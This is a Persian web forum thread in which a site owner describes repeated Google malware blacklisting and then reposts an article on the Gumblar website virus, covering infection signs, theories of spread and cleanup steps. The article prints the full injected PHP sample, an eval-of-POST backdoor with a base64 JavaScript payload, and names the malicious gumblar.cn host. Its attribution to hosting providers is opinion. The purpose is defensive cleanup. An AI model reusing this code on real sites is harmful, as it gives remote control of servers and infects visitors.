ورود

View Full Version : حرفه ای: راه حل اساسی !!! مشکل این وبگاه ممکن است به رایانه شما آسیب وارد نماید



emdadgar_shahed
سه شنبه 21 اردیبهشت 1389, 23:31 عصر
سلام به همه دوستان
یکی دو تا از سایتهای من در سرورهای مختلف چند وقتی هست که در هنگام باز شدن این متن را اعلام می کنه .
این وبگاه ممکن است به رایانه شما آسیب وارد نماید
راه کار گوگل و دوستان را خوندم . مشکل حل شد ولی بعد از مدتی مجدداً همون پیغام اومده .
راهکارهای گوگل :
1- گوگل گفته بود که کل اطلاعات را پاک کرده و مجدداً بارگذاری کنید . دلیل اون هم این بود که یه ویروس به صورت اسسکریپ در انتهای تمامی فایل ها چه htm aspp php قرار گرفته بود و گوگل اون ها را مخرب می دونست .
2- گفته بود بعد از ارسال مجدد اطلاعات سطح دسترسی فایل ها را تغییر دهید و من هم همین کار را کردم و پرمیژن کل فایل ها را 444 گذاشتم.
3- و راه کار بعدی این بود که گفته بود پسورد اف تی پی را نیز عوض کنید که این کار را هم کردم.
سپس در قسمت google tools با انتخاب سایت verify کردم و درخواست را برای گوگل ارسال کردم که بعد از یکی دو روز مشکل حل شد و از لیست سیاه خارج شدم.


اما امروز دیدم مجدداً در لیست سیاه قرار گرفتم و همون پیغام این وبگاه .... نشون میده .
وارد قسمت مدیریت سایت شدم دیدم دوباره فایل های script ویروسی به انتهای فایلهام اضافه شده و پرمیژن فایل ها هم تغییر کرده .

به نظر شما مشکل چیه ؟!!!!!!! :گریه: :متفکر: :عصبانی++:
یه راهکار اساسی ....

emdadgar_shahed
دوشنبه 27 اردیبهشت 1389, 14:42 عصر
اگر وب سایتی دارید که در آن از php یا html یا js استفاده شده است حتمی این مقاله را مطالعه نمائید

چند روزی است سرتاسر اینترنت پر شده است از ویروس فوق العاده مهلکی به نام گامبلار !
در کمتر سایتی می توانید راجع به این ویروس چیزی بیابید چه برسد به اینکه راه حلی برایش وجود داشته باشد .
ابتدا بگذارید ببینیم کار این ویروس چیست .
این ویروس خود را خارج از هاست و بدون داشتن دسترسی به هاست و ftp در فایلهای سایت کپی می کند .
شاید اکنون این به ذهن شما رسیده باشد که " خوب پاکش می کنیم " .
این ویروس غیر قابل پاک شدن است مگر اینکه خیلی سریع و کامل عمل کنید . شاید بیشتر از 10 بار این ویروس را
به روشی عادی پاک کردیم ( روی یکی از سایتهای مشتریهایمان ) اما بازهم پیدا می شد !!!
این ویروس چند حالت دارد :
1 ) برای فایلهای html : کدی که در فایلهای ساده html وجود دارد که بخصوص در فایلهای معروفی چون index به چشم میخورد .
این کد پس از تگ body دیده می شود .
این کد چیزی شبیه به این است یا اینکه دقیقا همین است :




2 ) برای فایلهای php : کدی که در فایلهای php وجود دارد که بخصوص در فایلهای معروفی چون index , function , config زیاد
به چشم میخورد .
این کد اولین کد در فایل php می شود و یا شبیه کد زیر است یا دقیقا خودش است :

<?php if(!function_exists('tmp_lkojfghx')){if(isset($_PO ST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL ',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2Nya XB0PjwhLS0gCihmdW5jdGlvbihHM2w4Sil7dmFyIGJORnQ9J3Z hciYyMGEmM2QmMjImNTNjcmlwdEVuJjY3aW4mNjUmMjImMmMmN jImM2QmMjJWZSY3MnNpJjZmbigpKyYyMiYyY2omM2QmMjImMjI mMmN1JjNkbmF2aWdhdG9yJjJlJjc1c2VyJjQxZ2VudCYzYmlmK Ch1JjJlaSY2ZWQmNjV4TyY2NigmMjJXaW4mMjIpJjNlMCkmMjY mMjYoJjc1JjJlaW5kZXhPJjY2KCYyMk5UJjIwJjM2JjIyKSYzY zApJjI2JjI2KGQmNmZjdW1lbiY3NCYyZWMmNmZva2kmNjUmMmU mNjkmNmVkZXgmNGZmKCYyMiY2ZCY2OWUmNmImM2QmMzEmMjImM jkmM2MwJjI5JjI2JjI2JjI4dCY3OXAmNjVvJjY2KHpydnp0cyk mMjEmM2R0eXBlb2YoJjIyQSYyMikpKSY3YnpyJjc2JjdhdCY3M yYzZCYyMkEmMjImM2ImNjV2JjYxJjZjJjI4JjIyaWYmMjh3aW5 kJjZmJjc3JjJlJjIyK2ErJjIyKWomM2QmNmErJjIyJjJiYSsmM jJNYWomNmYmNzImMjImMmJiK2EmMmImMjJNJjY5bm9yJjIyK2I rYSYyYiYyMkImNzVpbGQmMjImMmJiKyYyMmomM2ImMjIpJjNiZ CY2ZmN1JjZkJjY1biY3NCYyZXdyJjY5dGUmMjgmMjImM2MmNzN jciY2OXAmNzQmMjAmNzNyYyYzZCYyZiYyZiY2N3UmNmQmNjJsY XImMmVjJjZlJjJmcnNzJjJmJjNmaSY2NCYzZCYyMitqKyYyMiY zZSYzYyY1YyYyZiY3MyY2M3JpJjcwdCYzZSYyMikmM2ImN2QnO 3ZhciBnWEo9dW5lc2NhcGUoYk5GdC5yZXBsYWNlKEczbDhKLCc lJykpO2V2YWwoZ1hKKX0pKC8mL2cpOwogLS0+PC9zY3JpcHQ+' ));function tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).ch r(139)))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$ v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'', $s);}$s1=preg_replace('#<script language=javascript><!-- \ndocument\.write\(unescape\(.+?\n --></script>#','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',TMP_XHGFJOKL.'\1',$s1);elseif(($s1!=$s)| |stristr($s,'</body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($ b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_l kojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!=' tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>


3 ) برای فایلهای js : این ویروس خودش را در فایلهای جاوا نیز کپی می کند و آنها را نیز چک نمائید .

این ویروس چند نوع دارد : 1 ) همانی که در بالا توضیح داده شد 2 ) همین ویروس ولی با استفاده از iframe

اگر نوع اول ویروس را گرفتید که بسیار خوشحال باشید . چرا که تنها سایتتان ویروسی شده و هرچند سخت اما قابل درمان است .
اگر نوع دوم ویروس را گرفتید که شخصا پیشنهاد می کنم قید سایت خود را بزنید و کلا بروید دنبال کار دیگری .
در نوع دوم علاوه بر بلایایی که بخاطر ویروس بر سر شما می آید یک حادثه بسیار تلخ رخ می دهد و آن این است که گوگل سایت
شما را سایتی تشخیص می دهد که ویروس پخش می کند و سایت شما را بن می کند !
اگر این مشکل را نیز بتوانید حل کنید ( که خودتان نمی توانید و باید یک متخصص سئو این کار را انجام دهد ), دیگر چیزی در گوگل
به اسم سایت شما وجود ندارد ! یعنی تمامی زحماتی که کشیده بودید تا رتبه مناسبی در گوگل بگیرید بر بارد رفته است .
توجه داشته باشید که گوگل این موضوع را خیلی سریع متوجه می شود و بدون اینکه چیزی بگوید عمل می کند .
یعنی کاری ندارد که شما مقصر هستید یا نه ! سایت شما هک شده یا خودتان این کار را کرده اید ! کلا فقط یک چیز
را می داند و آن اینکه سایت شما فقط باید مسدود شود !!!
اگر سایت شما به این ویروس از نوع دوم گرفتار شود در کمتر از یک نصف روز در گوگل ویروس شناخته خواهید شد و این جمله
در بالای تمام نتایجی که سایت شما در گوگل بیاورد نشان داده می شود :

این وبگاه ممکن است به رایانه شما آسیب وارد نماید. (http://www.tigersware.com/google_va_site_virusi.asp)


گوگل اینها را malware نامیده که معنای آن تقریبا بدافزار می شود .
پس همین الان سایت خود را باز کرده و دنبال این کدها باشید . یافتن آنها ساده است در همان ابتدای کدها قابل مشاهده است .
بخصوص به دنبال iframe باشید . در این بخش ممکن است آی فریمی را مشاهده نمائید که ابعاد آن بسیار کوچک باشد که
قابل مشاهده نباشد .

مژده : تابحال مشاهده نشده که سایتهایی که با دات نت یا asp کلاسیک ساخته شده اند آلوده به این ویروس شده باشند .
اما کار از محکم کاری عیب نمی کند .

این ویروس (http://www.tigersware.com/Gumblar_virus_protection.asp) چه می کند ؟
اگر وارد سایتی شدید و ناگهان متوجه شدید یک فایل pdf از چنین آدرسی http:// gumblar . cn/rss/?id=2 می خواهد دانلود
شود یا باز شود مطمئن باشید که سایت یک نوعی از این ویروس را گرفته است .
تابحال هیچ انسانی متوجه نشده که اگر این فایل اجرا شود چه اتفاقی می افتد !
این سایت را در مرورگر خود به عنوان لیست سیاه قرار دهید ( هر چند که فایده ای هم ندارد ) .
این ویروس اولین کاری که می کند این است که لود شدن سایت را کند می کند , درست به مانند زمانی که سایت در حال
bandwidth تمام کردن است یا خیلی شلوغ است .
مسلما نویسنده این ویروس نیات شومی در سر دارد . چرا که تابحال خرابکاری خاصی در کامپیوتر کسی صورت نگرفته است .
یقینا صاحب ویروس قصد دارد تا ویروس را به کامپیوترهای زیادی تزریق کند و در یک اقدام ناگهانی خرابکاری خاصی را انجام
دهد که میلیونها نفر متضرر آن شوند .

این ویروس چگونه وارد سایتها شده است ؟
در این مبحث نظریه ها و فرضیه های گوناگون و زیادی ارائه شده است .
1 ) اولین نظریه این را عنوان می کند که این شخص سایت را هک کرده و این ویروس را وارد سایت می کند !
آیا چنین چیزی با منطق سازگار است ؟ مگر یکی دو سایت است ؟ هزاران سایت در سرتاسر جهان آلوده به این ویروس شده اند .
2 ) دومین نظریه بر این استوار است که این می تواند یکی از حملات بات نتی ( مثلا DDos ) باشد که این قدری می تواند
درست باشد اما چرا تنها بعضی از سایتها ( البته فعلا ) دچار این مشکل شده اند ؟
3 ) نظریه سوم عنوان می کند که این ویروس برنامه های کار با FTP را آلوده می کند و هر فایلی که از طریق این برنامه ها
آپلود می شود این ویروس خودش را به آنها می افزاید . این نظریه تا حدودی منطقی به نظر می رسد اما پس از بررسیهای
کارشناسی این بحث رد شد . بعضی از صاحبان سایت با SFTP فایلها را آپلود می کردند پس چرا آنها ویروس را گرفتند .
آنتی ویروسهای بزرگی که به هر چیزی شک می کنند چرا برنامه ای را که نا خود آگاه روی کامپیوتر دانلود شده , نصب شده و
اجرا شده را شناسایی نکرده اند ؟
4 ) چهارمین نظریه که بهترین آنها نیز می باشد انگشت اتهام را به سمت و سوی هاستینگها نشانه می روند که همانا
صحیح است .
اینکه تنها بعضی از سایتها آلوده می شوند . اینکه هیچ کس نمی داند چگونه این ویروس وارد سایتشان شده است . و یکی
دو دلیل دیگر مظنون شماره یک این ماجرا را سرورهای ضعیف هاستینگ می داند .
اگر سرور هاستینگ سروری با ایمنی بالا باشد هرگر دچار چنین مشکلی نخواهید شد .

وای به روزی که یکی از بلاگ ها چنین ویروسی را بگیرند .

نکته جالب اینجاست که آمار آلوده شدن سایتهای ایرانی به این ویروس بسیار زیاد است .
آنچه که اثبات می کند مشکل از طرف هاستینگها می باشد و سرور ویروس گرفته است این است که :
زمانی که شما ویروس را کاملا از سایت خود پاک می کنید و سطوح دسترسی فایلها را نیز تغییر می دهید این ویروس
در کمتر از 48 ساعت به سایت شما باز می گردد . اما این بار به شکلی بسیار خطرناک تر !
ویروس تغییر شکل می دهد و دوباره به سایت شما حمله می کند . تنها در صورتی که سرور ویروسی باشد این امکان
برای ویروس بوجود می آید .

مرکز فعالیت این ویروس چیست ؟

مرکز فعالیت این ویروس در سایت شما یک چیز است . فایلی به نام image.php !!!
ویروس این فایل را در تمامی فولدرهایی که نام imgaes دارند کپی می کند . حال هرچند بار نیز که شما کدها را از فایلهای
خود حذف کنید باز هم نمایان خواهند شد . چراکه این فایل دستور ساخت آنها را می دهد .

راه چاره چیست ؟
همیشه پیشگیری بهتر از درمان است . چه این ویروس را گرفته باشید و چه نگرفته باشید این کارها را انجام دهید .
در چنین مواقعی است که ارزش بک آپها مشخص می شود , اگر یک آپ دارید که هیچ اما اگر ندارید :

1 - یک فایل خالی به نام image.php می سازید .
2 - این فایل را با فایلی که در فولدر imgaes در سایتتان وجود دارد جابجا می کند و سطح دسترسی آن را جوری تنظیم می کنید
که در آن write وجود نداشته باشد .
3 - کدهای مذکور را از فایلهای سایتتان پاک کرده و سطح دسترسی این فایلها را نیز طروی تنظیم می کنید که در آن write وجود
نداشته باشد .
4 - تمامی فایلهایی که یا به نام های زیر هستند یا این نامهای در قسمتی از نام آنها وجود دارد را چک می کنید :
index.php
index.htm
index.html
functions.php
script.js
config.php
setting.php
db.php

نویسنده مقاله : عادل سرلک